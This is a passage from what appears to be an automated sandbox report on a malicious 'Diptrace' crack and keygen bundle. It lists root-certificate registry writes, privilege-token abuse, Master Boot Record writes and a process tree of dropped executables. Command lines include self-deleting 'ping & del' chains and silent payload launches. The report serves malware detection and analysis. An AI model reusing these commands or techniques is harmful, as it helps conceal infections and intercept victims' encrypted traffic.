58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Install.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 19000000010000001000000018e847daffeaedafa0faaea36340ea790f0000000100000020000000f58d226a1455ea81e8c8df37b8c942f342ebbc60a29701fc2895ec13140104610300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd140000000100000014000000f8d0dc54367cf794020f8b92783a5d8a91251f9f2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Install.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a 5857830.64 Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a 5857830.64 Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a F6C2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe -
Runs ping.exe 1 TTPs 6 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEpid process 1048 PING.EXE 396 PING.EXE 624 PING.EXE 1476 PING.EXE 1920 PING.EXE 2076 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
SmartClock.exepid process 1492 SmartClock.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
920D.tmp.exefile.exejfiag3g_gg.exe5857830.6423E04C4F32EF2158.tmp2719482.29seed.exepid process 768 920D.tmp.exe 1660 file.exe 1660 file.exe 1660 file.exe 1660 file.exe 2640 jfiag3g_gg.exe 2608 5857830.64 2064 23E04C4F32EF2158.tmp 2064 23E04C4F32EF2158.tmp 2420 2719482.29 2420 2719482.29 2404 seed.exe 2404 seed.exe 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 1388 -
Suspicious behavior: GetForegroundWindowSpam 3 IoCs
Processes:
msiexec.exedw20.exepid process 1044 msiexec.exe 2844 dw20.exe 1388 -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
seed.exeE36F.exe2CA2.exepid process 2404 seed.exe 1288 E36F.exe 1152 2CA2.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
file.exemsiexec.exemsiexec.exedescription pid process Token: SeDebugPrivilege 1660 file.exe Token: SeCreateTokenPrivilege 1660 file.exe Token: SeShutdownPrivilege 1044 msiexec.exe Token: SeIncreaseQuotaPrivilege 1044 msiexec.exe Token: SeRestorePrivilege 1664 msiexec.exe Token: SeTakeOwnershipPrivilege 1664 msiexec.exe Token: SeSecurityPrivilege 1664 msiexec.exe Token: SeCreateTokenPrivilege 1044 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1044 msiexec.exe Token: SeLockMemoryPrivilege 1044 msiexec.exe Token: SeIncreaseQuotaPrivilege 1044 msiexec.exe Token: SeMachineAccountPrivilege 1044 msiexec.exe Token: SeTcbPrivilege 1044 msiexec.exe Token: SeSecurityPrivilege 1044 msiexec.exe Token: SeTakeOwnershipPrivilege 1044 msiexec.exe Token: SeLoadDriverPrivilege 1044 msiexec.exe Token: SeSystemProfilePrivilege 1044 msiexec.exe Token: SeSystemtimePrivilege 1044 msiexec.exe Token: SeProfSingleProcessPrivilege 1044 msiexec.exe Token: SeIncBasePriorityPrivilege 1044 msiexec.exe Token: SeCreatePagefilePrivilege 1044 msiexec.exe Token: SeCreatePermanentPrivilege 1044 msiexec.exe Token: SeBackupPrivilege 1044 msiexec.exe Token: SeRestorePrivilege 1044 msiexec.exe Token: SeShutdownPrivilege 1044 msiexec.exe Token: SeDebugPrivilege 1044 msiexec.exe Token: SeAuditPrivilege 1044 msiexec.exe Token: SeSystemEnvironmentPrivilege 1044 msiexec.exe Token: SeChangeNotifyPrivilege 1044 msiexec.exe Token: SeRemoteShutdownPrivilege 1044 msiexec.exe Token: SeUndockPrivilege 1044 msiexec.exe Token: SeSyncAgentPrivilege 1044 msiexec.exe Token: SeEnableDelegationPrivilege 1044 msiexec.exe Token: SeManageVolumePrivilege 1044 msiexec.exe Token: SeImpersonatePrivilege 1044 msiexec.exe Token: SeCreateGlobalPrivilege 1044 msiexec.exe Token: SeCreateTokenPrivilege 1044 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1044 msiexec.exe Token: SeLockMemoryPrivilege 1044 msiexec.exe Token: SeIncreaseQuotaPrivilege 1044 msiexec.exe Token: SeMachineAccountPrivilege 1044 msiexec.exe Token: SeTcbPrivilege 1044 msiexec.exe Token: SeSecurityPrivilege 1044 msiexec.exe Token: SeTakeOwnershipPrivilege 1044 msiexec.exe Token: SeLoadDriverPrivilege 1044 msiexec.exe Token: SeSystemProfilePrivilege 1044 msiexec.exe Token: SeSystemtimePrivilege 1044 msiexec.exe Token: SeProfSingleProcessPrivilege 1044 msiexec.exe Token: SeIncBasePriorityPrivilege 1044 msiexec.exe Token: SeCreatePagefilePrivilege 1044 msiexec.exe Token: SeCreatePermanentPrivilege 1044 msiexec.exe Token: SeBackupPrivilege 1044 msiexec.exe Token: SeRestorePrivilege 1044 msiexec.exe Token: SeShutdownPrivilege 1044 msiexec.exe Token: SeDebugPrivilege 1044 msiexec.exe Token: SeAuditPrivilege 1044 msiexec.exe Token: SeSystemEnvironmentPrivilege 1044 msiexec.exe Token: SeChangeNotifyPrivilege 1044 msiexec.exe Token: SeRemoteShutdownPrivilege 1044 msiexec.exe Token: SeUndockPrivilege 1044 msiexec.exe Token: SeSyncAgentPrivilege 1044 msiexec.exe Token: SeEnableDelegationPrivilege 1044 msiexec.exe Token: SeManageVolumePrivilege 1044 msiexec.exe Token: SeImpersonatePrivilege 1044 msiexec.exe -
Suspicious use of FindShellTrayWindow 9 IoCs
Processes:
msiexec.exe23E04C4F32EF2158.tmppid process 1044 msiexec.exe 2064 23E04C4F32EF2158.tmp 1388 1388 1388 1388 1388 1388 1044 msiexec.exe -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
pid process 1388 1388 1388 1388 -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
1010.tmp.exepid process 1000 1010.tmp.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Diptrace_free_2_1_0_patch_by_ViKiNG.execmd.exekeygen-step-4.exekeygen-pr.exekey.exekeygen-step-3.execmd.exefile.exe920D.tmp.exedescription pid process target process PID 1968 wrote to memory of 1696 1968 Diptrace_free_2_1_0_patch_by_ViKiNG.exe cmd.exe PID 1968 wrote to memory of 1696 1968 Diptrace_free_2_1_0_patch_by_ViKiNG.exe cmd.exe PID 1968 wrote to memory of 1696 1968 Diptrace_free_2_1_0_patch_by_ViKiNG.exe cmd.exe PID 1968 wrote to memory of 1696 1968 Diptrace_free_2_1_0_patch_by_ViKiNG.exe cmd.exe PID 1696 wrote to memory of 792 1696 cmd.exe keygen-pr.exe PID 1696 wrote to memory of 792 1696 cmd.exe keygen-pr.exe PID 1696 wrote to memory of 792 1696 cmd.exe keygen-pr.exe PID 1696 wrote to memory of 792 1696 cmd.exe keygen-pr.exe PID 1696 wrote to memory of 792 1696 cmd.exe keygen-pr.exe PID 1696 wrote to memory of 792 1696 cmd.exe keygen-pr.exe PID 1696 wrote to memory of 792 1696 cmd.exe keygen-pr.exe PID 1696 wrote to memory of 916 1696 cmd.exe keygen-step-1.exe PID 1696 wrote to memory of 916 1696 cmd.exe keygen-step-1.exe PID 1696 wrote to memory of 916 1696 cmd.exe keygen-step-1.exe PID 1696 wrote to memory of 916 1696 cmd.exe keygen-step-1.exe PID 1696 wrote to memory of 1676 1696 cmd.exe keygen-step-3.exe PID 1696 wrote to memory of 1676 1696 cmd.exe keygen-step-3.exe PID 1696 wrote to memory of 1676 1696 cmd.exe keygen-step-3.exe PID 1696 wrote to memory of 1676 1696 cmd.exe keygen-step-3.exe PID 1696 wrote to memory of 640 1696 cmd.exe keygen-step-4.exe PID 1696 wrote to memory of 640 1696 cmd.exe keygen-step-4.exe PID 1696 wrote to memory of 640 1696 cmd.exe keygen-step-4.exe PID 1696 wrote to memory of 640 1696 cmd.exe keygen-step-4.exe PID 640 wrote to memory of 1660 640 keygen-step-4.exe file.exe PID 640 wrote to memory of 1660 640 keygen-step-4.exe file.exe PID 640 wrote to memory of 1660 640 keygen-step-4.exe file.exe PID 640 wrote to memory of 1660 640 keygen-step-4.exe file.exe PID 792 wrote to memory of 268 792 keygen-pr.exe key.exe PID 792 wrote to memory of 268 792 keygen-pr.exe key.exe PID 792 wrote to memory of 268 792 keygen-pr.exe key.exe PID 792 wrote to memory of 268 792 keygen-pr.exe key.exe PID 792 wrote to memory of 268 792 keygen-pr.exe key.exe PID 792 wrote to memory of 268 792 keygen-pr.exe key.exe PID 792 wrote to memory of 268 792 keygen-pr.exe key.exe PID 268 wrote to memory of 1472 268 key.exe key.exe PID 268 wrote to memory of 1472 268 key.exe key.exe PID 268 wrote to memory of 1472 268 key.exe key.exe PID 268 wrote to memory of 1472 268 key.exe key.exe PID 268 wrote to memory of 1472 268 key.exe key.exe PID 268 wrote to memory of 1472 268 key.exe key.exe PID 268 wrote to memory of 1472 268 key.exe key.exe PID 1676 wrote to memory of 1856 1676 keygen-step-3.exe cmd.exe PID 1676 wrote to memory of 1856 1676 keygen-step-3.exe cmd.exe PID 1676 wrote to memory of 1856 1676 keygen-step-3.exe cmd.exe PID 1676 wrote to memory of 1856 1676 keygen-step-3.exe cmd.exe PID 1856 wrote to memory of 1048 1856 cmd.exe PING.EXE PID 1856 wrote to memory of 1048 1856 cmd.exe PING.EXE PID 1856 wrote to memory of 1048 1856 cmd.exe PING.EXE PID 1856 wrote to memory of 1048 1856 cmd.exe PING.EXE PID 1660 wrote to memory of 1212 1660 file.exe 920D.tmp.exe PID 1660 wrote to memory of 1212 1660 file.exe 920D.tmp.exe PID 1660 wrote to memory of 1212 1660 file.exe 920D.tmp.exe PID 1660 wrote to memory of 1212 1660 file.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1212 wrote to memory of 768 1212 920D.tmp.exe 920D.tmp.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Diptrace_free_2_1_0_patch_by_ViKiNG.exe"C:\Users\Admin\AppData\Local\Temp\Diptrace_free_2_1_0_patch_by_ViKiNG.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\920D.tmp.exe"C:\Users\Admin\AppData\Roaming\920D.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\920D.tmp.exe"C:\Users\Admin\AppData\Roaming\920D.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp15⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
-
C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exeC:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent6⤵
- Executes dropped EXE
- Loads dropped DLL
-
